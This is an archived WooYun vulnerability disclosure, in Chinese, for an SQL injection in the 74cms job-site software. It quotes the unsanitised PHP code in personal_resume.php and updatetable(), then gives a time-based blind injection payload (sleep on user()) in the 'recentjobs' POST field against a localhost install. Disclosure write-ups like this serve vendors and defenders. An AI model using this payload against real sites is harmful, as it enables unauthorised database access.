乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-19: 细节已通知厂商并且等待厂商处理中 2014-05-20: 厂商已经确认,细节仅向厂商公开 2014-05-23: 细节向第三方安全合作伙伴开放 2014-07-14: 细节向核心白帽子及相关领域专家公开 2014-07-24: 细节向普通白帽子公开 2014-08-03: 细节向实习白帽子公开 2014-08-17: 细节向公众公开
~~
文件:/user/personal/personal_resume.php
//保存-求职意向elseif ($act=='make2_save'){ $resumeuid=intval($_SESSION['uid']); $resumepid=intval($_REQUEST['pid']); if ($resumeuid==0 || $resumepid==0 ) showmsg('参数错误!',1); $resumearr['recentjobs']=trim($_POST['recentjobs']); $resumearr['nature']=intval($_POST['nature'])?intval($_POST['nature']):showmsg('请选择期望岗位性质!',1); $resumearr['nature_cn']=trim($_POST['nature_cn']); $resumearr['district']=trim($_POST['district'])?intval($_POST['district']):showmsg('请选择期望工作地!',1); $resumearr['sdistrict']=intval($_POST['sdistrict']); $resumearr['district_cn']=trim($_POST['district_cn']); $resumearr['wage']=intval($_POST['wage'])?intval($_POST['wage']):showmsg('请选择期望月薪!',1); $resumearr['wage_cn']=trim($_POST['wage_cn']); $resumearr['trade']=$_POST['trade']?trim($_POST['trade']):showmsg('请选择期望从事的行业!',1); $resumearr['trade_cn']=trim($_POST['trade_cn']); $resumearr['intention_jobs']=trim($_POST['intention_jobs']); if ($_CFG['audit_edit_resume']!="-1") { $resumearr['audit']=$_CFG['audit_edit_resume']; } add_resume_jobs($resumepid,$_SESSION['uid'],$_POST['intention_jobs_id'])?"":showmsg('更新失败!',0); updatetable(table('resume'),$resumearr," id='{$resumepid}' AND uid='{$resumeuid}'"); updatetable(table('resume_tmp'),$resumearr," id='{$resumepid}' AND uid='{$resumeuid}'"); check_resume($_SESSION['uid'],intval($_REQUEST['pid'])); if ($_POST['go_resume_show']) { header("Location: ?act=resume_show&pid={$resumepid}"); } else { header("Location: ?act=make3&pid=".intval($_POST['pid'])); }}
参数recentjobs没有过滤进入updatetable进行更新
function updatetable($tablename, $setsqlarr, $wheresqlarr, $silent=0) { global $db; $setsql = $comma = ''; foreach ($setsqlarr as $set_key => $set_value) { if(is_array($set_value)) { $setsql .= $comma.'`'.$set_key.'`'.'='.$set_value[0]; } else { $setsql .= $comma.'`'.$set_key.'`'.'=\''.$set_value.'\''; } $comma = ', '; } $where = $comma = ''; if(empty($wheresqlarr)) { $where = '1'; } elseif(is_array($wheresqlarr)) { foreach ($wheresqlarr as $key => $value) { $where .= $comma.'`'.$key.'`'.'=\''.$value.'\''; $comma = ' AND '; } } else { $where = $wheresqlarr; } return $db->query("UPDATE ".($tablename)." SET ".$setsql." WHERE ".$where, $silent?"SILENT":"");}
也没有过滤,导致SQL注入。
加单引号后:
下面使用盲注:
链接:http://localhost/74cms/user/personal/personal_resume.php?act=make2_savePOST:recentjobs=111111' WHERE uid='1' AND id='1' And if(mid(user(),1,1)='r',sleep(5),1)#&nature=62&nature_cn=%C8%AB%D6%B0&district_cn=%B1%B1%BE%A9%CA%D0%2F%B6%AB%B3%C7%C7%F8&district=1&sdistrict=35&wage_cn=3000%7E5000%D4%AA%2F%D4%C2&wage=59&intention_jobs=%CF%EE%C4%BF%BE%AD%C0%ED%2F%B2%FA%C6%B7%BE%AD%C0%ED&intention_jobs_id=19.20&trade_cn=%BD%F0%C8%DA%28%D2%F8%D0%D0%2F%B1%A3%CF%D5%29&trade=10&pid=1&go_resume_show=1
过滤
危害等级:高
漏洞Rank:20
确认时间:2014-05-20 15:35
ok
暂无